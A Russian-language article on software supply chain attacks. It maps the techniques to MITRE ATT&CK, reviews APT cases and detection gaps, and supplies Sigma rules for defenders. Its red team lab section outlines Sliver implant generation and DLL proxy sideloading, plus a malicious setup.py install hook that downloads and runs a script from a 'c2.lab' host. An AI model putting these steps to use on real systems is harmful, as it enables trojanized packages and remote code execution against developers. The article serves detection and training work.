По данным Group-IB, к 2026 году атаки на цепочку поставок вышли на первое место среди глобальных киберугроз. В марте 2026-го отрасль получила наглядную демонстрацию: пять инцидентов за двенадцать дней - каскадная эксплуатация цепочек доверия, автоисполняемые пейлоады в open-source-пакетах и каскадные SaaS-компрометации. Ваш SOC не детектировал ни одну из этих техник, потому что вредоносная активность шла через подписанные бинарники доверенных вендоров. Я знаю это, потому что воспроизводил каждый из этих сценариев в лабе - и Blue Team стабильно пропускал lateral movement через легитимные MSP-коннекторы. Эта статья - карта всего, что вам нужно знать о supply chain attack TTP в 2025–2026 году: от таксономии векторов и маппинга на MITRE ATT&CK до готовых Red Team сценариев и Sigma-правил, которые наконец начнут ловить эти атаки.
Карта темы
- Почему атаки через доверительные отношения - самый разрушительный вектор
- Таксономия: 4 типа компрометации цепочки поставок ПО
- APT-группировки: Lazarus, APT29, Cl0p и Earth Kurma
- 7 техник MITRE ATT&CK, формирующих kill chain в 2025–2026
- DLL Sideloading и Code Signing Abuse в контексте поставщиков
- Компрометация CI/CD-пайплайнов
- Red Team: эмуляция supply chain атак в лабораторных условиях
- Слепые зоны детектирования: SAST, SCA, EDR
- Threat Intelligence 2026: каскадные атаки и новая реальность third-party risk
Почему атаки через доверительные отношения - самый разрушительный вектор 2025 года
Классическая кибератака работает против защиты. Атаки на цепочку поставок работают вместе с защитой - используя те самые доверительные отношения, которые организация выстраивала годами. Когда злоумышленник компрометирует доверенного поставщика, его вредоносный код приходит по легитимному каналу обновлений, подписан валидным сертификатом и выполняется с привилегиями, которые IT-отдел сам предоставил вендору.Техника T1199 (Trusted Relationship) в MITRE ATT&CK описывает именно этот вектор: злоумышленник получает доступ к целевой организации через скомпрометированную третью сторону - MSP-провайдера, облачного подрядчика или вендора ПО. В отличие от фишинга, где нужно убедить человека кликнуть ссылку, trusted relationship attack эксплуатирует машинное доверие: VPN-туннели, API-токены, OAuth-сессии, агенты мониторинга.
Почему это разрушительнее прямой атаки:
- Масштаб: один скомпрометированный поставщик дает доступ к сотням и тысячам клиентов одновременно. SolarWinds - 18 000 организаций. MOVEit - более 2500 компаний.
- Невидимость: EDR не алертит на активность подписанного бинарника вендора. SIEM не триггерит правило на штатное VPN-подключение MSP.
- Время обнаружения: по статистике, компрометация через доверенного подрядчика остается необнаруженной в среднем в 2–3 раза дольше, чем прямое вторжение.
- Доверие как оружие: жертва сама устанавливает бэкдор - добровольно, через обновление.
4 типа компрометации цепочки поставок: таксономия для Red Team и Blue Team
Термин «атаки на цепочку поставок» используется так широко, что потерял точность. На практике я разделяю четыре принципиально разных вектора, каждый из которых требует отдельной стратегии и эмуляции.Компрометация программных зависимостей (T1195.001)
Злоумышленник отравляет компонент в репозитории пакетов - npm, PyPI, Maven. Примеры 2024 года из отчёта Kaspersky: вредоносные npm-пакеты воровали SSH-ключи у сотен разработчиков (январь 2024), заброшенный пакет на PyPI начал распространять инфостилер Nova Sentinel (февраль 2024), а в декабре 2024 зараженная версия ИИ-модели Ultralytics YOLO11 появилась прямо в PyPI.Компрометация цепочки поставок ПО (T1195.002)
Атака на сам процесс сборки и доставки: злоумышленник внедряет бэкдор в легитимное ПО на этапе компиляции, подписи или распространения. Классика - SolarWinds SUNBURST, XZ Utils (CVE-2024-3094), бэкдор в JAVS (май 2024).Атака через доверительные отношения (T1199)
Компрометация MSP, облачного провайдера или вендора с прямым доступом к инфраструктуре жертвы. Здесь не нужен вредоносный код в обновлении - достаточно украсть учётные данные подрядчика или перехватить его OAuth-токен.Компрометация аппаратной цепочки (T1195.003)
Внедрение имплантов на уровне прошивок, чипсетов, периферийных устройств. Наиболее ресурсоёмкий вектор, характерный для nation-state операций.Практический чеклист для классификации инцидента:
| Признак | T1195.001 | T1195.002 | T1199 | T1195.003 |
|---|---|---|---|---|
| Вектор доставки | Пакетный менеджер | Обновление вендора | VPN/API/Агент | Физическое устройство |
| Нужен ли доступ к инфраструктуре жертвы | Нет | Нет | Да (через подрядчика) | Да (физический) |
| Масштаб | Средний | Массовый | Таргетированный | Точечный |
| Скорость детектирования | Средняя | Низкая | Очень низкая | Крайне низкая |
Lazarus, APT29, Cl0p и Earth Kurma: кто превратил supply chain в основное оружие
Атаки через подрядчиков APT-группировками - не новый тренд, но в 2024–2026 годах он вышел на качественно новый уровень. Разберём ключевых акторов.Lazarus (DPRK) и UNC4736: каскадная атака 3CX
Инцидент 3CX в 2023 году - эталонный пример каскадной компрометации. Lazarus (кластер UNC4736) сначала скомпрометировал Trading Technologies, затем через заражённое ПО X_TRADER проник в 3CX и троянизировал десктопный клиент. Техническая цепочка: вредоносный установщик X_TRADER внедрял DLL через sideloading, устанавливал модульный бэкдор VEILEDSIGNAL, который позволял операторам перемещаться латерально до CI/CD-инфраструктуры 3CX. Результат - скомпрометированные сборки 3CXDesktopApp с подписанными Electron-приложениями, содержащими загрузчик.APT29 (Cozy Bear): SolarWinds как поворотная точка
Операция SUNBURST 2020 года остаётся самым масштабным примером T1195.002. APT29 получил доступ к билд-серверу SolarWinds Orion и внедрил бэкдор в процесс сборки. Вредоносный код был подписан валидным сертификатом вендора и распространён через штатный механизм обновлений. Особенность - бэкдор ждал 12–14 дней перед активацией, а DNS-запросы C2 маскировались под легитимный трафик SolarWinds.Cl0p: MOVEit и массовая эксплуатация managed file transfer
Cl0p в 2023–2024 годах систематически атаковал решения для управляемой передачи файлов - GoAnywhere MFT, MOVEit Transfer. Группировка эксплуатировала zero-day уязвимости в продуктах, которые организации использовали именно для безопасного обмена данными с подрядчиками. Ирония в том, что инструмент защиты стал вектором компрометации.Earth Kurma: APT в Юго-Восточной Азии
Earth Kurma - группировка, задокументированная Trend Micro в 2024–2025 годах, таргетирующая правительственные организации в Юго-Восточной Азии. Характерная особенность - компрометация доверенных поставщиков государственных IT-систем с последующим lateral movement через легитимные каналы обслуживания.Ключевой вывод для Red Team: каждая из этих группировок использует supply chain не как разовый трюк, а как системную стратегию. Их TTP должны быть в вашей матрице эмуляции.
7 техник MITRE ATT&CK, которые формируют kill chain атак на цепочку поставок в 2025–2026
При маппинге TTP атак на цепочку поставок через MITRE ATT&CK Navigator я стабильно вижу одни и те же техники. Вот семь, которые определяют kill chain в 2025–2026.T1195 - Supply Chain Compromise. Корневая техника с тремя суб-техниками. В 2024 году, по данным Kaspersky, как минимум 12 значимых инцидентов относились к T1195.001 (dependency poisoning) - от npm и PyPI до CDN-сервиса Polyfill.io, через который десятки тысяч сайтов раздавали вредоносный код посетителям.
T1199 - Trusted Relationship. Атака через доверительные отношения с третьей стороной. Не требует вредоносного кода в ПО - достаточно скомпрометировать учётные данные подрядчика. В контексте 2026 года Group-IB фиксирует рост OAuth token abuse - злоумышленники крадут OAuth-токены MSP-провайдеров для каскадного доступа к клиентам.
T1554 - Compromise Client Software Binary. Модификация клиентского ПО на хосте жертвы. Используется для закрепления после компрометации через supply chain - модифицируется бинарник уже установленного доверенного ПО.
T1574.002 - DLL Side-Loading. Основная техника доставки пейлоада в атаках Lazarus и UNC4736. Злоумышленник подкладывает вредоносную DLL рядом с легитимным исполняемым файлом, который загружает её по приоритету Windows DLL Search Order.
T1553.002 - Code Signing. Злоумышленник подписывает вредоносный код украденным или скомпрометированным сертификатом вендора. Это обходит проверки Windows SmartScreen, EDR-политики и белые списки приложений.
T1059 - Command and Scripting Interpreter. Постэксплуатационная техника: после доставки через supply chain начинается выполнение команд. В инциденте с axios (задокументирован Vectra AI) скомпрометированный npm-пакет быстро переключался с выполнения кода на credential abuse.
T1071.001 - Application Layer Protocol (Web). C2-коммуникация через HTTPS, замаскированная под штатный трафик к серверам вендора. SUNBURST использовал DNS, современные имплементации чаще используют HTTPS к легитимным доменам.
Чеклист маппинга для вашей матрицы ATT&CK:
Код:
T1195.001 → Dependency poisoning (npm/PyPI/Maven)
T1195.002 → Build system compromise (CI/CD trojanization)
T1199 → MSP/vendor credential abuse, OAuth token theft
T1554 → Post-compromise binary modification
T1574.002 → DLL sideloading for payload delivery
T1553.002 → Code signing with stolen certificates
T1059 → Post-exploitation scriptingDLL Sideloading и Code Signing Abuse: два столпа компрометации поставщиков
Если вы анализируете любую серьёзную атаку на цепочку поставок за последние три года, с высокой вероятностью вы найдёте в ней DLL sideloading, code signing abuse или оба приёма одновременно.DLL Sideloading в контексте supply chain
Windows ищет DLL-библиотеки в определённом порядке: сначала директория приложения, потом системные пути. Когда злоумышленник размещает вредоносную DLL в директории легитимного подписанного приложения вендора, Windows загружает её без вопросов. EDR видит: доверенный исполняемый файл загружает библиотеку из своей директории - штатное поведение.В атаке на 3CX Lazarus использовал именно эту технику: троянизированные DLL-библиотеки (ffmpeg.dll, d3dcompiler_47.dll) загружались легитимным подписанным процессом 3CXDesktopApp.exe. Цепочка загрузки выглядела абсолютно легитимно для EDR-решений.
Для воспроизведения в лабе я использую типичную конструкцию:
Код:
# Создание DLL-прокси для sideloading (концепция)
# Шаг 1: Анализ импортов целевого приложения
dumpbin /imports target_vendor_app.exe
# Шаг 2: Создание прокси-DLL, которая пробрасывает вызовы к оригиналу
# и добавляет вредоносную логику в DllMain
# Шаг 3: Размещение в директории приложения
copy malicious_proxy.dll C:\Program Files\VendorApp\original_name.dllCode Signing Abuse как вектор атаки
Цифровая подпись - не гарантия безопасности, а вектор атаки. Если злоумышленник получает доступ к сертификату подписи вендора (через компрометацию билд-сервера, кражу HSM-ключей или цепочку CI/CD), весь его вредоносный код становится «доверенным».В инциденте SolarWinds бэкдор SUNBURST был подписан валидным сертификатом SolarWinds. В атаке на JAVS (май 2024) троянизированная версия ПО для видеозаписи судебных заседаний также имела валидную цифровую подпись.
Практические меры верификации:
| Контроль | Что проверять | Инструмент |
|---|---|---|
| Верификация подписи | Цепочка доверия, timestamp, отзыв | sigcheck (Sysinternals), cosign |
| Мониторинг загрузки DLL | DLL из нестандартных путей | Sysmon Event ID 7 |
| Baseline бинарников | Хеш-суммы файлов вендора | osquery, OSSEC |
| Build provenance | SLSA attestation, SBOM | sigstore, in-toto |
Компрометация CI/CD-пайплайнов: от отравленного коммита до reverse shell за один билд
CI/CD-пайплайн - самая привлекательная цель в цепочке поставок ПО. Компрометация одного билд-сервера превращает каждый последующий релиз вендора в средство доставки вредоносного кода всем его клиентам.Анатомия атаки на CI/CD
Типичный сценарий компрометации CI/CD-пайплайна, который я отрабатываю в лабе на Gitea + Drone CI + Nexus:- Initial Access: злоумышленник получает доступ к репозиторию (украденный токен, compromised developer account, dependency confusion)
- Persistence в пайплайне: модификация CI-конфигурации (.drone.yml, .github/workflows/) для внедрения шага сборки, который инжектит пейлоад
- Build poisoning: вредоносный код компилируется вместе с легитимным проектом, подписывается сертификатом вендора
- Распространение: артефакт публикуется в Nexus/Artifactory и доставляется через штатные каналы обновлений
Dependency Confusion в 2025
Техника dependency confusion продолжает работать: злоумышленник публикует пакет с тем же именем, что и внутренний пакет организации, но в публичном репозитории с более высоким номером версии. Package-менеджер подтягивает вредоносную версию автоматически.Пример базовой проверки на уязвимость к dependency confusion:
Bash:
# Проверка, есть ли ваши внутренние пакеты в публичном npm
npm view @your-internal-scope/package-name --registry https://registry.npmjs.org
# Аудит зависимостей на known-supply-chain-issues
trivy fs --scanners vuln,secret,misconfig ./project-directory
# Semgrep для обнаружения опасных паттернов в CI-конфигурации
semgrep --config "p/ci-cd-security" .github/workflows/Март 2026: каскадная эксплуатация автоматизации
По данным отчёта DreamFactory, в марте 2026 года произошла серия атак, эксплуатирующих именно CI/CD-автоматизацию и доверительные отношения в цепочках open-source-зависимостей. Автоисполняемые скрипты в пакетах, каскадное распространение через транзитивные зависимости - всё это стало возможным, потому что CI/CD-системы доверяют upstream-репозиториям по умолчанию.Минимальный чеклист защиты CI/CD:
- Pinning зависимостей по хешу, не по версии
- Изоляция билд-среды (ephemeral runners)
- Подпись коммитов (GPG/Sigstore)
- Проверка SLSA provenance для критических артефактов
- Мониторинг изменений в CI-конфигурации через git diff alerting
GitHub как вектор атаки на цепочку поставок
Отдельного внимания заслуживает компрометация через GitHub-инфраструктуру: username hijacking (захват освободившихся имён пользователей), угон заброшенных репозиториев и внедрение вредоносного кода через форки и pull request'ы. Эти техники позволяют злоумышленнику встроиться в цепочку доверия на уровне исходного кода - ещё до того, как CI/CD-пайплайн запустит первый билд. Подробно о механиках атак на supply chain GitHub, username hijacking и методах защиты репозиториев.Red Team: как эмулировать атаки на цепочку поставок в лабораторных условиях
Теория без практики бесполезна. Вот три сценария эмуляции атак цепочки поставок, которые я регулярно провожу в изолированных лабах для purple team-сессий.Сценарий 1: SolarWinds-style - троянизированное обновление через Nexus
Инфраструктура лаба:- Gitea (Git-сервер) + Drone CI (CI/CD) + Nexus (репозиторий артефактов)
- Целевая Windows-машина с установленным «вендорским» агентом
- Sliver C2 server для приёма коллбэков
Bash:
# 1. Клонируем легитимный проект "vendor-agent" в Gitea
git clone http://gitea.lab:3000/vendor/monitoring-agent.git
# 2. Модифицируем процесс сборки - добавляем шаг инжекции
# В .drone.yml добавляем step, который встраивает shellcode в бинарник
# (в реальном SolarWinds использовался build-time injection)
# 3. Генерируем Sliver implant для встраивания
sliver > generate --mtls lab-c2.local --os windows --arch amd64 \
--format shellcode --save /tmp/implant.bin
# 4. После сборки артефакт публикуется в Nexus
# Целевая машина получает обновление через штатный механизм
# 5. При запуске обновлённого агента - коллбэк на Sliver C2
sliver > sessions
# Сессия получена через "легитимное" обновлениеСценарий 2: 3CX-style - DLL Sideloading через доверенное приложение
Bash:
# 1. Берём легитимный подписанный EXE вендора
# 2. Анализируем его DLL-импорты
dumpbin /imports VendorApp.exe | findstr ".dll"
# 3. Создаём прокси-DLL с помощью SharpDLLProxy или вручную
# DLL пробрасывает все легитимные вызовы к оригинальной библиотеке
# и исполняет Sliver shellcode в DllMain
# 4. Размещаем прокси-DLL и оригинал в директории приложения
# 5. При запуске VendorApp.exe - загрузка нашей DLL, C2 callbackСценарий 3: Trojanized PyPI-пакет - dependency confusion
Bash:
# 1. Создаём пакет с именем внутренней зависимости заказчика
# setup.py содержит post-install hook:
# 2. В setup.py:
# import subprocess
# subprocess.run(["curl", "http://c2.lab/stage2.sh", "-o", "/tmp/s.sh"])
# subprocess.run(["bash", "/tmp/s.sh"])
# (пример для демонстрации концепции - не для продакшена)
# 3. Публикуем в локальное PyPI-зеркало с версией 99.0.0
# 4. pip install подтягивает нашу версию вместо внутренней- Сработал ли EDR на загрузку DLL?
- Есть ли алерт SIEM на нестандартный network callback?
- Обнаружил ли SCA-сканер модификацию зависимости?
- Зафиксировал ли Sysmon Event ID 7 подозрительную загрузку модуля?
Слепые зоны детектирования: почему SAST, SCA и EDR пропускают supply chain атаки
На каждой purple team-сессии с фокусом на supply chain я документирую, где именно ломается детектирование. Паттерн стабильно повторяется.SAST не видит контекст поставки
Статический анализ кода (Semgrep, SonarQube) проверяет ваш код, но не код зависимостей на уровне бинарников. Если вредоносная логика внедрена в pre-compiled binary или в build-time injection - SAST слеп. Я регулярно демонстрирую это заказчикам: Semgrep с правиламиp/supply-chain ловит подозрительные паттерны в manifest-файлах, но пропускает скомпилированный shellcode в .dll внутри node_modules.SCA работает по базе - но не по поведению
Software Composition Analysis (Trivy, Snyk, Dependabot) проверяет версии зависимостей по базе известных уязвимостей. Проблема: zero-day supply chain атака по определению отсутствует в базе. Когда XZ Utils (CVE-2024-3094) был скомпрометирован, между внедрением бэкдора и его обнаружением прошли месяцы. Всё это время SCA-сканеры рапортовали «всё чисто».EDR доверяет подписанным бинарникам
Это главная слепая зона. EDR-решения используют репутационные базы: подписанный бинарник известного вендора = доверенный. Когда 3CXDesktopApp.exe (подписанный, легитимный) загружал троянизированную ffmpeg.dll, большинство EDR-агентов не генерировали алерт. Процесс-родитель - легитимный. DLL загружена из штатной директории. Сетевой коллбэк - к IP, который до этого не был в блоклистах.Sigma-правила, которые помогают закрыть разрывы
YAML:
# Sigma rule: подозрительная DLL загрузка подписанным приложением
title: Suspicious DLL Load by Signed Vendor Application
status: experimental
logsource:
category: image_load
product: windows
detection:
selection:
ImageLoaded|endswith:
- '\ffmpeg.dll'
- '\d3dcompiler_47.dll'
Image|endswith:
- '\3CXDesktopApp.exe'
- '\VendorAgent.exe'
filter:
ImageLoaded|startswith: 'C:\Program Files'
Signed: 'true'
SignatureStatus: 'Valid'
condition: selection and not filter
# Идея: алертить даже на подписанные DLL,
# если они загружаются из нестандартных путей
level: medium
---
# Sigma rule: нетипичный DNS/HTTPS callback после обновления ПО
title: Unusual Outbound Connection After Software Update
status: experimental
logsource:
category: network_connection
product: windows
detection:
selection:
Initiated: 'true'
Image|endswith:
- '\update.exe'
- '\updater.exe'
filter:
DestinationHostname|endswith:
- '.vendor-domain.com'
- '.microsoft.com'
condition: selection and not filter
level: highThreat Intelligence 2026: каскадные атаки, OAuth abuse и конец слепого доверия к open source
Если 2024 год был годом осознания масштаба угрозы (12 крупных инцидентов по Kaspersky), то 2025–2026 - годы каскадных атак, где компрометация одного звена автоматически распространяется через цепочки доверия.Каскадные SaaS-компрометации
По данным Group-IB, среди ключевых угроз 2026 года - cascading SaaS breaches. Схема: злоумышленник компрометирует одного SaaS-провайдера, через OAuth-интеграции получает доступ к данным и системам всех подключённых организаций. Это эволюция T1199 - доверительные отношения масштабируются через API-связность современных облачных экосистем.OAuth Token Abuse как новый вектор
OAuth-токены MSP-провайдеров и SaaS-интеграций становятся приоритетной целью. Вместо компрометации VPN-туннеля злоумышленнику достаточно украсть refresh token OAuth-приложения подрядчика - и он получает персистентный доступ к ресурсам всех клиентов этого подрядчика. По данным Group-IB, этот вектор активно используется в ransomware-операциях через цепочку поставок.Пять атак за двенадцать дней: март 2026
Серия инцидентов марта 2026, задокументированная DreamFactory, продемонстрировала cascading trust chain exploitation - когда компрометация одного open-source-пакета через транзитивные зависимости затрагивала тысячи проектов. Auto-executing пейлоады в CI/CD-среде, автоматический деплой заражённых пакетов - всё это стало возможным, потому что экосистема open source построена на имплицитном доверии.Malicious Browser Extensions
Group-IB также фиксирует рост вредоносных browser extensions как вектора supply chain. Расширения для браузера имеют доступ к cookies, сессиям, вводимым данным - и распространяются через официальные маркетплейсы с механизмом автообновления.Атаки на AI-инструменты разработчиков
Отдельным вектором 2025–2026 годов стали атаки на AI-инструменты разработчиков через malvertising и фейковые установщики. Злоумышленники создают поддельные страницы популярных AI-ассистентов и IDE-плагинов, продвигают их через рекламные сети и распространяют инфостилеры под видом легитимных инструментов. Этот вектор особенно опасен в контексте supply chain: разработчик, установивший заражённый AI-плагин, компрометирует не только свою машину, но и CI/CD-среду, к которой имеет доступ.Что это значит для threat intelligence цепочки поставок в 2026
Ключевые индикаторы, которые ваша TI-команда должна мониторить:- Смена владельца/мейнтейнера open-source-пакетов в ваших зависимостях
- Аномальные обновления без release notes или с минимальными изменениями
- Новые OAuth-приложения в вашем тенанте от провайдеров-подрядчиков
- Изменения в DNS-записях домейнов CDN-сервисов ваших вендоров (как в случае Polyfill.io)
- Публикация пакетов с именами, похожими на ваши внутренние (typosquatting, dependency confusion)
Что делать прямо сейчас: экспертный взгляд на 2025–2026
Атаки на цепочку поставок - не отдельная категория угроз. Это фундаментальный сдвиг модели атаки: от «ломаем периметр жертвы» к «ломаем того, кому жертва доверяет». Каждая purple team-сессия, которую я провожу, подтверждает: организации инвестируют в защиту собственного периметра, но слепы к рискам, приходящим через доверенные каналы.В ближайший год ожидаю три ключевых изменения. Первое: каскадные атаки через SaaS-интеграции и OAuth станут массовыми - это проще и масштабнее, чем троянизация бинарников. Второе: open-source supply chain превратится в поле боя, и проекты без SLSA attestation и верифицированных SBOM будут считаться токсичными. Третье: регуляторы начнут требовать доказуемую безопасность цепочки поставок - аналогично тому, как NIST уже движется в сторону обязательных SBOM.
Конкретные действия: проведите инвентаризацию всех третьих сторон с доступом к вашей инфраструктуре. Для каждого подрядчика определите - какие именно техники из описанных семи TTP применимы к вашей связке с ним. Запустите первый Red Team сценарий из этой статьи в изолированной лабе. Внедрите хотя бы два Sigma-правила из раздела о детектировании. Это минимум, с которого стоит начать.
Последнее редактирование:
